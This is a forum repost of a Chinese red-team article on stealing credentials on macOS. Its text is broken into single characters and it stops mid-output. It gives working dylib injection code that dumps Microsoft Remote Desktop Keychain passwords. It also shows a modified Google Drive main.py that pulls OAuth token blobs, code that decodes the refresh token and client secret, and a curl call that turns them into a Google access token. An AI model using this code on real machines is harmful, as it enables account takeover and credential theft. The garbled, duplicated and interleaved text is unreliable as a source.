论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
渗透测试
[15107] 2020-03-08_拿起Mac来渗透:恢复凭证
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-18
渗透测试
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-03-08_拿起Mac来渗透:恢复凭证
拿
起
M
a
c
来
渗
透
:
恢
复
凭
证
周
大
涛
F
r
e
e
B
u
f
2
0
2
0
-
0
3
-
0
8
介
绍
介
绍
获
取
凭
证
信
息
是
红
队
的
常
用
套
路
,
因
为
这
些
凭
证
可
横
向
移
动
的
一
把
好
手
。
网
上
很
多
用
获
取
凭
证
信
息
是
红
队
的
常
用
套
路
,
因
为
这
些
凭
证
可
横
向
移
动
的
一
把
好
手
。
网
上
很
多
用
W
i
n
d
o
w
s
进
行
凭
据
恢
复
的
进
行
凭
据
恢
复
的
研
究
,
随
着
渗
透
人
员
经
济
条
件
越
来
越
好
,
各
位
师
傅
都
换
上
了
研
究
,
随
着
渗
透
人
员
经
济
条
件
越
来
越
好
,
各
位
师
傅
都
换
上
了
M
a
c
(
馋
馋
.
j
p
g
)
所
以
这
篇
文
章
中
,
我
们
将
探
讨
如
何
通
过
代
理
应
用
程
序
进
行
代
码
注
入
来
访
问
M
a
c
O
S
第
三
方
应
用
程
序
中
存
储
的
凭
据
,
包
括
M
i
c
r
o
s
o
f
t
远
程
桌
面
和
G
o
o
g
l
e
云
端
硬
盘
的
案
例
研
究
。
M
i
c
r
o
s
o
f
t
远
程
桌
面
远
程
桌
面
使
用
远
程
桌
面
应
用
程
序
时
,
注
意
它
都
具
有
一
个
保
存
R
D
P
会
话
凭
据
的
功
能
,
如
下
所
示
:
这
些
会
话
的
已
存
储
凭
据
在
应
用
程
序
中
发
现
这
些
凭
据
的
第
一
步
是
探
索
应
用
程
序
的
沙
箱
容
器
,
使
用
命
令
g
r
e
p
-
i
r
c
o
n
t
o
s
o
.
c
o
m
查
看
P
r
e
f
e
r
e
n
c
e
s
/
c
o
m
.
m
i
c
r
o
s
o
f
t
.
r
d
c
.
m
a
c
.
p
l
i
s
t
p
l
i
s
t
文
件
中
包
含
的
字
符
串
。
使
用
p
l
u
t
i
l
-
c
o
n
v
e
r
t
x
m
l
1
P
r
e
f
e
r
e
n
c
e
s
/
c
o
m
.
m
i
c
r
o
s
o
f
t
.
r
d
c
.
m
a
c
.
p
l
i
s
t
将
其
转
换
为
纯
文
本
,
我
们
看
看
:
在
p
l
i
s
t
文
件
中
,
我
们
可
以
找
到
有
关
凭
证
的
各
种
详
细
信
息
,
但
不
幸
的
是
,
没
有
明
文
密
码
。
如
果
这
么
简
单
,
那
就
太
好
了
。
下
一
步
是
在
反
汇
编
程
序
中
打
开
“
远
程
桌
面
”
应
用
程
序
。
基
于
以
上
所
述
,
我
们
知
道
已
保
存
的
条
目
在
应
用
程
序
中
被
称
为
书
签
。
我
们
查
下
K
e
y
c
h
a
i
n
C
r
e
d
e
n
t
i
a
l
L
o
a
d
e
r
:
:
g
e
t
P
a
s
s
w
o
r
d
F
o
r
B
o
o
k
m
a
r
k
(
)
方
法
,
我
们
可
以
看
到
,
除
其
他
外
,
它
调
用
了
一
个
名
为
g
e
t
P
a
s
s
w
o
r
d
(
)
的
方
法
:
在
g
e
t
P
a
s
s
w
o
r
d
(
)
内
部
,
它
尝
试
通
过
调
用
f
i
n
d
P
a
s
s
w
o
r
d
I
t
e
m
(
)
方
法
来
发
现
K
e
y
c
h
a
i
n
,
该
方
法
使
用
S
e
c
K
e
y
c
h
a
i
n
S
e
a
r
c
h
C
r
e
a
t
e
F
r
o
m
A
t
t
r
i
b
u
t
e
s
(
)
来
找
到
相
关
的
K
e
y
c
h
a
i
n
并
最
终
复
制
出
其
内
容
:
基
于
所
学
知
识
,
我
们
现
在
了
解
到
R
D
P
会
话
的
密
码
存
储
在
K
e
y
c
h
a
i
n
中
。
我
们
可
以
使
用
K
e
y
c
h
a
i
n
a
c
c
e
s
s
应
用
程
序
对
此
进
行
确
认
:
但
是
,
如
果
没
有
提
权
,
我
们
无
法
访
问
已
保
存
的
密
码
。
找
回
密
码
找
回
密
码
查
看
“
访
问
控
制
”
选
项
卡
,
我
们
可
以
看
到
M
i
c
r
o
s
o
f
t
R
e
m
o
t
e
D
e
s
k
t
o
p
.
a
p
p
被
授
予
了
对
此
项
目
的
访
问
权
限
,
并
且
不
需
要
K
e
y
c
h
a
i
n
密
码
即
可
执
行
此
操
作
:
回
到
我
们
最
初
的
理
论
,
如
果
我
们
可
以
注
入
到
应
用
程
序
中
,
那
么
我
们
可
以
从
K
e
y
c
h
a
i
n
中
检
索
此
密
码
。
但
是
,
在
M
a
c
O
S
上
进
行
代
码
注
入
并
不
是
一
件
容
易
的
事
,
并
且
当
适
当
的
安
全
控
制
措
施
到
位
(
即
S
I
P
和
适
当
的
权
利
或
启
用
了
h
a
r
d
e
n
e
d
r
u
n
t
i
m
e
)
时
,
A
p
p
l
e
已
经
将
其
锁
定
了
。
这
些
选
项
可
防
止
注
入
未
经
A
p
p
l
e
签
名
或
与
应
用
程
序
相
同
的
团
队
I
D
的
库
。
对
我
们
来
说
幸
运
的
是
,
使
用
c
o
d
e
s
i
g
n
-
d
v
v
v
–
e
n
t
i
t
l
e
m
e
n
t
s
进
行
了
验
证
:
/
A
p
p
l
i
c
a
t
i
o
n
s
/
M
i
c
r
o
s
o
f
t
R
e
m
o
t
e
D
e
s
k
t
o
p
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
/
M
i
c
r
o
s
o
f
t
R
e
m
o
t
e
D
e
s
k
t
o
p
我
们
发
现
没
有
这
样
的
保
护
措
施
,
意
味
着
我
们
可
以
很
好
地
使
用
-
k
n
o
w
n
D
Y
L
D
_
I
N
S
E
R
T
_
L
I
B
R
A
R
I
E
S
技
术
注
入
我
们
的
动
态
库
。
一
个
简
单
的
d
y
l
i
b
,
用
于
根
据
发
现
的
书
签
搜
索
“
K
e
y
c
h
a
i
n
”
项
,
如
下
所
示
:
编
译
该
库
并
通
过
D
Y
L
D
_
I
N
S
E
R
T
_
L
I
B
R
A
R
I
E
S
注
入
,
我
们
可
以
查
看
存
储
在
K
e
y
c
h
a
i
n
中
的
纯
文
本
密
码
:
#
i
m
p
o
r
t
"
h
i
j
a
c
k
L
i
b
.
h
"
@
i
m
p
l
e
m
e
n
t
a
t
i
o
n
h
i
j
a
c
k
L
i
b
:
N
S
O
b
j
e
c
t
-
(
v
o
i
d
)
d
u
m
p
K
e
y
c
h
a
i
n
{
N
S
M
u
t
a
b
l
e
D
i
c
t
i
o
n
a
r
y
*
q
u
e
r
y
=
[
N
S
M
u
t
a
b
l
e
D
i
c
t
i
o
n
a
r
y
d
i
c
t
i
o
n
a
r
y
W
i
t
h
O
b
j
e
c
t
s
A
n
d
K
e
y
s
:
(
_
_
b
r
i
d
g
e
i
d
)
k
C
F
B
o
o
l
e
a
n
T
r
u
e
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
R
e
t
u
r
n
A
t
t
r
i
b
u
t
e
s
,
(
_
_
b
r
i
d
g
e
i
d
)
k
C
F
B
o
o
l
e
a
n
T
r
u
e
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
R
e
t
u
r
n
R
e
f
,
(
_
_
b
r
i
d
g
e
i
d
)
k
C
F
B
o
o
l
e
a
n
T
r
u
e
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
R
e
t
u
r
n
D
a
t
a
,
@
"
d
c
.
c
o
n
t
o
s
o
.
c
o
m
"
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
A
t
t
r
L
a
b
e
l
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
C
l
a
s
s
I
n
t
e
r
n
e
t
P
a
s
s
w
o
r
d
,
(
_
_
b
r
i
d
g
e
i
d
)
k
S
e
c
C
l
a
s
s
,
n
i
l
]
;
N
S
D
i
c
t
i
o
n
a
r
y
*
k
e
y
c
h
a
i
n
I
t
e
m
=
n
i
l
;
O
S
S
t
a
t
u
s
s
t
a
t
u
s
=
S
e
c
I
t
e
m
C
o
p
y
M
a
t
c
h
i
n
g
(
(
_
_
b
r
i
d
g
e
C
F
D
i
c
t
i
o
n
a
r
y
R
e
f
)
q
u
e
r
y
,
(
v
o
i
d
*
)
&
k
e
y
c
h
a
i
n
I
t
e
m
)
;
i
f
(
s
t
a
t
u
s
!
=
n
o
E
r
r
)
{
r
e
t
u
r
n
;
}
N
S
D
a
t
a
*
p
a
s
s
w
o
r
d
D
a
t
a
=
[
k
e
y
c
h
a
i
n
I
t
e
m
o
b
j
e
c
t
F
o
r
K
e
y
:
(
i
d
)
k
S
e
c
V
a
l
u
e
D
a
t
a
]
;
N
S
S
t
r
i
n
g
*
p
a
s
s
w
o
r
d
=
[
[
N
S
S
t
r
i
n
g
a
l
l
o
c
]
i
n
i
t
W
i
t
h
D
a
t
a
:
p
a
s
s
w
o
r
d
D
a
t
a
e
n
c
o
d
i
n
g
:
N
S
U
T
F
8
S
t
r
i
n
g
E
n
c
o
d
i
n
g
]
;
N
S
L
o
g
(
@
"
%
@
"
,
p
a
s
s
w
o
r
d
)
;
}
@
e
n
d
v
o
i
d
r
u
n
P
O
C
(
v
o
i
d
)
{
[
[
h
i
j
a
c
k
L
i
b
a
l
l
o
c
]
d
u
m
p
K
e
y
c
h
a
i
n
]
;
}
_
_
a
t
t
r
i
b
u
t
e
_
_
(
(
c
o
n
s
t
r
u
c
t
o
r
)
)
s
t
a
t
i
c
v
o
i
d
c
u
s
t
o
m
C
o
n
s
t
r
u
c
t
o
r
(
i
n
t
a
r
g
c
,
c
o
n
s
t
c
h
a
r
*
*
a
r
g
v
)
{
r
u
n
P
O
C
(
)
;
e
x
i
t
(
0
)
;
}
G
o
o
g
l
e
云
端
硬
盘
云
端
硬
盘
前
面
的
示
例
相
对
来
说
比
较
琐
碎
,
因
为
远
程
桌
面
应
用
程
序
未
包
含
任
何
运
行
时
保
护
措
施
以
防
止
未
经
授
权
的
代
码
注
入
。
让
我
们
看
另
一
个
例
子
。
如
果
我
们
查
看
G
o
o
g
l
e
云
端
硬
盘
应
用
程
序
的
元
数
据
和
权
利
,
我
们
可
以
看
到
该
应
用
程
序
使
用
了
h
a
r
d
e
n
e
d
r
u
n
t
i
m
e
:
A
p
p
l
e
介
绍
:
h
a
r
d
e
n
e
d
r
u
n
t
i
m
e
与
系
统
完
整
性
保
护
(
S
I
P
)
一
起
,
通
过
防
止
某
些
类
型
的
利
用
,
例
如
代
码
注
入
,
动
态
链
接
库
(
D
L
L
)
劫
持
和
进
程
内
存
空
间
篡
改
,
来
保
护
软
件
的
运
行
时
完
整
性
。
我
的
同
事
亚
当
·
切
斯
特
(
A
d
a
m
C
h
e
s
t
e
r
)
之
前
曾
谈
到
过
,
当
这
些
保
护
措
施
不
到
位
时
,
如
何
实
现
向
代
理
应
用
程
序
的
代
码
注
入
,
但
是
在
这
种
情
况
下
,
h
a
r
d
e
n
e
d
r
u
n
t
i
m
e
意
味
着
如
果
我
们
尝
试
使
用
亚
当
描
述
的
先
前
的
D
Y
L
D
_
I
N
S
E
R
T
_
L
I
B
R
A
R
I
E
S
或
P
l
u
g
i
n
s
技
术
,
将
失
败
,
我
们
将
无
法
再
使
用
加
载
程
序
将
其
注
入
该
进
程
。
但
是
有
替
代
路
线
吗
?
仔
细
研
究
G
o
o
g
l
e
云
端
硬
盘
应
用
,
我
们
会
在
该
应
用
的
I
n
f
o
.
p
l
i
s
t
中
发
现
以
下
内
容
:
我
们
还
注
意
到
/
A
p
p
l
i
c
a
t
i
o
n
s
/
B
a
c
k
u
p
和
S
y
n
c
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
文
件
夹
中
的
其
他
P
y
t
h
o
n
二
进
制
文
件
:
因
此
,
这
里
发
生
的
是
G
o
o
g
l
e
D
r
i
v
e
的
“
备
份
和
同
步
”
应
用
程
序
实
际
上
是
基
于
p
y
t
h
o
n
的
应
用
程
序
,
可
能
使
用
p
y
2
a
p
p
或
类
似
程
序
进
行
了
编
译
。
让
我
们
看
看
这
是
否
为
我
们
提
供
了
执
行
代
码
注
入
的
机
会
。
分
析
分
析
查
看
该
应
用
程
序
,
我
们
发
现
唯
一
的
p
y
t
h
o
n
源
文
件
是
.
/
R
e
s
o
u
r
c
e
s
/
m
a
i
n
.
p
y
,
它
执
行
以
下
操
作
:
不
幸
的
是
,
我
们
不
能
修
改
该
文
件
,
因
为
它
位
于
受
S
I
P
保
护
的
目
录
中
。
但
是
,
我
们
只
需
将
整
个
应
用
程
序
复
制
到
一
个
可
写
的
文
件
夹
中
,
它
将
保
持
相
同
的
权
利
和
代
码
签
名
;
我
们
将
其
复
制
到
/
t
m
p
。
使
用
/
t
m
p
文
件
夹
中
的
应
用
程
序
副
本
,
我
们
编
辑
m
a
i
n
.
p
y
来
试
试
是
否
可
以
修
改
:
运
行
该
应
用
程
序
,
我
们
可
以
看
到
我
们
已
经
执
行
了
P
y
t
h
o
n
:
$
c
o
d
e
s
i
g
n
-
d
v
v
v
-
-
e
n
t
i
t
l
e
m
e
n
t
s
:
-
'
/
A
p
p
l
i
c
a
t
i
o
n
s
/
/
B
a
c
k
u
p
a
n
d
S
y
n
c
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
/
B
a
c
k
u
p
a
n
d
S
y
n
c
'
E
x
e
c
u
t
a
b
l
e
=
/
A
p
p
l
i
c
a
t
i
o
n
s
/
B
a
c
k
u
p
a
n
d
S
y
n
c
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
/
B
a
c
k
u
p
a
n
d
S
y
n
c
I
d
e
n
t
i
f
i
e
r
=
c
o
m
.
g
o
o
g
l
e
.
G
o
o
g
l
e
D
r
i
v
e
F
o
r
m
a
t
=
a
p
p
b
u
n
d
l
e
w
i
t
h
M
a
c
h
-
O
t
h
i
n
(
x
8
6
_
6
4
)
C
o
d
e
D
i
r
e
c
t
o
r
y
v
=
2
0
5
0
0
s
i
z
e
=
5
4
6
f
l
a
g
s
=
0
x
1
0
0
0
0
(
r
u
n
t
i
m
e
)
h
a
s
h
e
s
=
8
+
5
l
o
c
a
t
i
o
n
=
e
m
b
e
d
d
e
d
<
k
e
y
>
P
y
R
u
n
t
i
m
e
L
o
c
a
t
i
o
n
s
<
/
k
e
y
>
<
a
r
r
a
y
>
<
s
t
r
i
n
g
>
@
e
x
e
c
u
t
a
b
l
e
_
p
a
t
h
/
.
.
/
F
r
a
m
e
w
o
r
k
s
/
P
y
t
h
o
n
.
f
r
a
m
e
w
o
r
k
/
V
e
r
s
i
o
n
s
/
2
.
7
/
P
y
t
h
o
n
<
/
s
t
r
i
n
g
>
<
/
a
r
r
a
y
>
-
r
w
x
r
-
x
r
-
x
@
1
d
m
c
s
t
a
f
f
4
9
6
9
6
2
3
D
e
c
0
4
:
0
0
B
a
c
k
u
p
a
n
d
S
y
n
c
-
r
w
x
r
-
x
r
-
x
@
1
d
m
c
s
t
a
f
f
2
7
8
0
8
2
3
D
e
c
0
4
:
0
0
p
y
t
h
o
n
f
r
o
m
o
s
x
i
m
p
o
r
t
r
u
n
_
g
o
o
g
l
e
d
r
i
v
e
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
r
u
n
_
g
o
o
g
l
e
d
r
i
v
e
.
M
a
i
n
(
)
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
p
r
i
n
t
(
'
h
e
l
l
o
h
a
c
k
e
r
s
'
)
r
u
n
_
g
o
o
g
l
e
d
r
i
v
e
.
M
a
i
n
(
)
既
然
我
们
知
道
可
以
在
代
码
签
名
无
效
的
情
况
下
执
行
任
意
p
y
t
h
o
n
,
是
否
可
以
以
某
种
方
式
滥
用
它
?
滥
用
滥
用
S
u
r
r
o
g
a
t
e
通
过
查
看
K
e
y
c
h
a
i
n
,
我
们
发
现
该
应
用
程
序
已
存
储
了
多
个
项
目
,
包
括
以
下
标
记
为
“
应
用
程
序
密
码
”
的
项
目
。
设
置
访
问
控
制
,
以
便
G
o
o
g
l
e
云
端
硬
盘
应
用
无
需
身
份
验
证
即
可
恢
复
该
访
问
控
制
:
让
我
们
看
看
如
何
使
用
替
代
应
用
程
序
来
恢
复
它
。
回
顾
该
应
用
程
序
如
何
加
载
其
P
y
t
h
o
n
软
件
包
,
我
们
在
.
/
R
e
s
o
u
r
c
e
s
/
l
i
b
/
p
y
t
h
o
n
2
.
7
/
s
i
t
e
-
p
a
c
k
a
g
e
s
.
z
i
p
中
发
现
了
捆
绑
的
s
i
t
e
-
p
a
c
k
a
g
e
s
资
源
,
如
果
我
们
对
此
进
行
解
压
缩
,
则
可
以
了
解
发
生
了
什
么
。
对
“
k
e
y
c
h
a
i
n
”
执
行
初
始
搜
索
会
发
现
几
个
包
含
字
符
串
的
模
块
,
包
括
o
s
x
/
s
t
o
r
a
g
e
/
k
e
y
c
h
a
i
n
.
p
y
o
和
o
s
x
/
s
t
o
r
a
g
e
/
s
y
s
t
e
m
_
s
t
o
r
a
g
e
.
p
y
o
;
我
们
感
兴
趣
的
一
个
是
s
y
s
t
e
m
_
s
t
o
r
a
g
e
.
p
y
o
,
k
e
y
c
h
a
i
n
.
p
y
o
,
这
是
k
e
y
c
h
a
i
n
_
e
x
t
.
s
o
共
享
库
的
P
y
t
h
o
n
接
口
,
它
提
供
了
本
地
访
问
以
访
问
K
e
y
c
h
a
i
n
。
反
编
译
并
查
看
s
y
s
t
e
m
_
s
t
o
r
a
g
e
.
p
y
o
,
我
们
发
现
以
下
内
容
:
考
虑
到
这
一
点
,
让
我
们
修
改
m
a
i
n
.
p
y
以
尝
试
从
K
e
y
c
h
a
i
n
中
检
索
凭
证
:
/
t
/
B
/
C
/
R
e
s
o
u
r
c
e
s
$
/
t
m
p
/
B
a
c
k
u
p
a
n
d
S
y
n
c
.
a
p
p
/
C
o
n
t
e
n
t
s
/
M
a
c
O
S
/
B
a
c
k
u
p
a
n
d
S
y
n
c
/
t
m
p
/
B
a
c
k
u
p
a
n
d
S
y
n
c
.
a
p
p
/
C
o
n
t
e
n
t
s
/
R
e
s
o
u
r
c
e
s
/
l
i
b
/
p
y
t
h
o
n
2
.
7
/
s
i
t
e
-
p
a
c
k
a
g
e
s
.
z
i
p
/
w
x
/
_
c
o
r
e
.
p
y
:
1
6
6
3
3
:
U
s
e
r
W
a
r
n
i
n
g
:
w
x
P
y
t
h
o
n
/
w
x
W
i
d
g
e
t
s
r
e
l
e
a
s
e
n
u
m
b
e
r
m
i
s
m
a
t
c
h
h
e
l
l
o
h
a
c
k
e
r
s
2
0
2
0
-
0
2
-
2
1
0
9
:
1
1
:
3
6
.
4
8
1
B
a
c
k
u
p
a
n
d
S
y
n
c
[
8
9
2
3
9
:
2
1
8
9
2
6
0
]
G
s
y
n
c
A
p
p
D
e
l
e
t
e
g
a
t
e
.
p
y
:
F
i
n
d
e
r
d
e
b
u
g
l
e
v
e
l
l
o
g
s
:
F
a
l
s
e
2
0
2
0
-
0
2
-
2
1
0
9
:
1
1
:
3
6
.
6
5
2
B
a
c
k
u
p
a
n
d
S
y
n
c
[
8
9
2
3
9
:
2
1
8
9
2
6
0
]
M
a
i
n
b
u
n
d
l
e
p
a
t
h
d
u
r
i
n
g
l
a
u
n
c
h
:
/
t
m
p
/
B
a
c
k
u
p
a
n
d
S
y
n
c
.
a
p
p
f
r
o
m
o
s
x
.
s
t
o
r
a
g
e
i
m
p
o
r
t
k
e
y
c
h
a
i
n
L
O
G
G
E
R
=
l
o
g
g
i
n
g
.
g
e
t
L
o
g
g
e
r
(
'
s
e
c
u
r
e
_
s
t
o
r
a
g
e
'
)
c
l
a
s
s
S
y
s
t
e
m
S
t
o
r
a
g
e
(
o
b
j
e
c
t
)
:
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
,
s
y
s
t
e
m
_
s
t
o
r
a
g
e
_
a
c
c
e
s
s
=
N
o
n
e
)
:
p
a
s
s
d
e
f
S
t
o
r
e
V
a
l
u
e
(
s
e
l
f
,
c
a
t
e
g
o
r
y
,
k
e
y
,
v
a
l
u
e
)
:
k
e
y
c
h
a
i
n
.
S
t
o
r
e
V
a
l
u
e
(
s
e
l
f
.
_
G
e
t
N
a
m
e
(
c
a
t
e
g
o
r
y
,
k
e
y
)
,
v
a
l
u
e
)
d
e
f
G
e
t
V
a
l
u
e
(
s
e
l
f
,
c
a
t
e
g
o
r
y
,
k
e
y
)
:
r
e
t
u
r
n
k
e
y
c
h
a
i
n
.
G
e
t
V
a
l
u
e
(
s
e
l
f
.
_
G
e
t
N
a
m
e
(
c
a
t
e
g
o
r
y
,
k
e
y
)
)
d
e
f
R
e
m
o
v
e
V
a
l
u
e
(
s
e
l
f
,
c
a
t
e
g
o
r
y
,
k
e
y
)
:
k
e
y
c
h
a
i
n
.
R
e
m
o
v
e
V
a
l
u
e
(
s
e
l
f
.
_
G
e
t
N
a
m
e
(
c
a
t
e
g
o
r
y
,
k
e
y
)
)
d
e
f
_
G
e
t
N
a
m
e
(
s
e
l
f
,
c
a
t
e
g
o
r
y
,
k
e
y
)
:
i
f
c
a
t
e
g
o
r
y
:
r
e
t
u
r
n
'
%
s
-
%
s
'
%
(
k
e
y
,
c
a
t
e
g
o
r
y
)
r
e
t
u
r
n
k
e
y
f
r
o
m
o
s
x
i
m
p
o
r
t
r
u
n
_
g
o
o
g
l
e
d
r
i
v
e
f
r
o
m
o
s
x
.
s
t
o
r
a
g
e
i
m
p
o
r
t
k
e
y
c
h
a
i
n
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
p
r
i
n
t
(
'
[
*
]
P
o
k
i
n
g
y
o
u
r
a
p
p
s
'
)
k
e
y
=
“
x
x
x
x
x
x
x
x
x
@
g
m
a
i
l
.
c
o
m
"
v
a
l
u
e
=
'
%
s
'
%
(
k
e
y
)
p
r
i
n
t
(
k
e
y
c
h
a
i
n
.
G
e
t
V
a
l
u
e
(
v
a
l
u
e
)
)
#
r
u
n
_
g
o
o
g
l
e
d
r
i
v
e
.
M
a
i
n
(
)
这
次
,
当
我
们
运
行
该
应
用
程
序
时
,
我
们
获
得
了
一
些
似
乎
是
b
a
s
e
6
4
编
码
的
数
据
:
让
我
们
更
深
入
地
了
解
这
是
什
么
以
及
我
们
是
否
可
以
使
用
它
。
搜
索
在
s
e
c
u
r
e
_
s
t
o
r
a
g
e
.
S
e
c
u
r
e
S
t
o
r
a
g
e
类
是
用
于
我
们
找
到
了
T
o
k
e
n
S
t
o
r
a
g
e
类
,
包
括
方
法
:
所
述
T
o
k
e
n
S
t
o
r
a
g
e
类
则
内
使
用
公
共
/
A
U
T
H
/
o
a
u
t
h
_
u
t
i
l
s
.
p
y
o
在
模
块
L
o
a
d
O
A
u
t
h
T
o
k
e
n
方
法
:
看
一
下
o
a
u
t
h
2
_
t
o
k
e
.
G
o
o
g
l
e
D
r
i
v
e
O
A
u
t
h
2
T
o
k
e
n
.
F
r
o
m
B
l
o
b
方
法
,
我
们
可
以
看
到
发
生
了
什
么
:
我
们
从
K
e
y
c
h
a
i
n
中
恢
复
的
B
l
o
b
令
牌
,
c
l
i
e
n
t
_
i
d
和
c
l
i
e
n
t
_
s
e
c
r
e
t
等
的
b
a
s
e
6
4
副
本
。
我
们
可
以
使
用
以
下
方
法
恢
复
它
们
:
然
后
,
刷
新
令
牌
可
用
于
请
求
新
的
访
问
令
牌
,
以
提
供
用
户
身
份
访
问
G
o
o
g
l
e
帐
户
:
结
论
结
论
在
这
项
研
究
中
,
介
绍
如
何
通
过
滥
用
代
码
注
入
替
代
应
用
程
序
来
从
M
a
c
O
S
设
备
的
K
e
y
c
h
a
i
n
中
恢
复
凭
证
而
无
需
提
升
权
限
。
尽
管
A
p
p
l
e
提
供
了
一
些
保
护
措
施
来
限
制
代
码
注
入
,
但
是
当
利
用
已
经
具
有
访
问
存
储
资
源
所
需
权
限
的
代
理
应
用
程
序
时
,
这
些
保
护
措
施
并
不
总
是
完
全
有
效
的
。
d
e
f
F
i
n
d
T
o
k
e
n
(
s
e
l
f
,
a
c
c
o
u
n
t
_
n
a
m
e
,
c
a
t
e
g
o
r
y
=
C
a
t
e
g
o
r
i
e
s
.
D
E
F
A
U
L
T
)
:
r
e
t
u
r
n
s
e
l
f
.
G
e
t
V
a
l
u
e
(
c
a
t
e
g
o
r
y
.
v
a
l
u
e
,
a
c
c
o
u
n
t
_
n
a
m
e
)
d
e
f
L
o
a
d
O
A
u
t
h
T
o
k
e
n
(
u
s
e
r
_
e
m
a
i
l
,
t
o
k
e
n
_
s
t
o
r
a
g
e
_
i
n
s
t
a
n
c
e
,
h
t
t
p
_
c
l
i
e
n
t
)
:
i
f
u
s
e
r
_
e
m
a
i
l
i
s
N
o
n
e
:
r
e
t
u
r
n
e
l
s
e
:
t
r
y
:
t
o
k
e
n
_
b
l
o
b
=
t
o
k
e
n
_
s
t
o
r
a
g
e
_
i
n
s
t
a
n
c
e
.
F
i
n
d
T
o
k
e
n
(
u
s
e
r
_
e
m
a
i
l
)
i
f
t
o
k
e
n
_
b
l
o
b
i
s
n
o
t
N
o
n
e
:
r
e
t
u
r
n
o
a
u
t
h
2
_
t
o
k
e
n
.
G
o
o
g
l
e
D
r
i
v
e
O
A
u
t
h
2
T
o
k
e
n
.
F
r
o
m
B
l
o
b
(
h
t
t
p
_
c
l
i
e
n
t
,
t
o
k
e
n
_
b
l
o
b
)
@
s
t
a
t
i
c
m
e
t
h
o
d
d
e
f
F
r
o
m
B
l
o
b
(
h
t
t
p
_
c
l
i
e
n
t
,
b
l
o
b
)
:
i
f
n
o
t
b
l
o
b
.
s
t
a
r
t
s
w
i
t
h
(
G
o
o
g
l
e
D
r
i
v
e
O
A
u
t
h
2
T
o
k
e
n
.
_
B
L
O
B
_
P
R
E
F
I
X
)
:
r
a
i
s
e
O
A
u
t
h
2
B
l
o
b
P
a
r
s
e
E
r
r
o
r
(
'
W
r
o
n
g
p
r
e
f
i
x
f
o
r
b
l
o
b
%
s
'
%
b
l
o
b
)
p
a
r
t
s
=
b
l
o
b
[
l
e
n
(
G
o
o
g
l
e
D
r
i
v
e
O
A
u
t
h
2
T
o
k
e
n
.
_
B
L
O
B
_
P
R
E
F
I
X
)
:
]
.
s
p
l
i
t
(
'
|
'
)
i
f
l
e
n
(
p
a
r
t
s
)
!
=
4
:
r
a
i
s
e
O
A
u
t
h
2
B
l
o
b
P
a
r
s
e
E
r
r
o
r
(
'
W
r
o
n
g
p
a
r
t
s
c
o
u
n
t
b
l
o
b
%
s
'
%
b
l
o
b
)
r
e
f
r
e
s
h
_
t
o
k
e
n
,
c
l
i
e
n
t
_
i
d
,
c
l
i
e
n
t
_
s
e
c
r
e
t
,
s
c
o
p
e
_
b
l
o
b
=
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
)
f
o
r
s
i
n
p
a
r
t
s
)
i
m
p
o
r
t
b
a
s
e
6
4
_
B
L
O
B
_
P
R
E
F
I
X
=
'
2
G
'
b
l
o
b
=
‘
2
G
X
X
X
X
X
X
X
X
X
X
X
X
X
|
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
|
Z
Z
Z
Z
Z
Z
Z
Z
Z
Z
Z
|
A
A
A
A
A
A
A
A
A
A
=
'
p
a
r
t
s
=
b
l
o
b
[
l
e
n
(
_
B
L
O
B
_
P
R
E
F
I
X
)
:
]
.
s
p
l
i
t
(
'
|
'
)
r
e
f
r
e
s
h
_
t
o
k
e
n
,
c
l
i
e
n
t
_
i
d
,
c
l
i
e
n
t
_
s
e
c
r
e
t
,
s
c
o
p
e
_
b
l
o
b
=
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
)
f
o
r
s
i
n
p
a
r
t
s
)
p
r
i
n
t
(
r
e
f
r
e
s
h
_
t
o
k
e
n
)
p
r
i
n
t
(
c
l
i
e
n
t
_
i
d
)
p
r
i
n
t
(
c
l
i
e
n
t
_
s
e
c
r
e
t
)
$
c
u
r
l
h
t
t
p
s
:
/
/
w
w
w
.
g
o
o
g
l
e
a
p
i
s
.
c
o
m
/
o
a
u
t
h
2
/
v
4
/
t
o
k
e
n
-
d
c
l
i
e
n
t
_
i
d
=
1
1
1
1
1
1
1
1
1
1
1
.
a
p
p
s
.
g
o
o
g
l
e
u
s
e
r
c
o
n
t
e
n
t
.
c
o
m
-
d
c
l
i
e
n
t
_
s
e
c
r
e
t
=
X
X
X
X
X
X
X
X
X
X
X
X
X
-
d
r
e
f
r
e
s
h
_
t
o
k
e
n
=
‘
1
/
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
Y
'
-
d
g
r
a
n
t
_
t
y
p
e
=
r
e
f
r
e
s
h
_
t
o
k
e
n
{
"
a
c
c
e
s
s
_
t
o
k
e
n
"
:
“
x
x
x
x
x
.
a
a
a
a
a
.
b
b
b
b
b
.
c
c
c
c
c
"
,
"
e
x
p
i
r
e
s
_
i
n
"
:
3
5
9
9
,
"
s
c
o
p
e
"
:
"
h
t
t
p
s
:
/
/
w
w
w
.
g
o
o
g
l
e
a
p
i
s
.
c
o
m
/
a
u
t
h
/
g
o
o
g
l
e
t
a
l
k
h
t
t
p
s
:
/
/
w
w
w
.
g
o
o
g
l
e
a
p
i
s
.
c
o
m
/
a
u
t
h
/
d
r
i
v
e
h
t
t
p
s
:
/
/
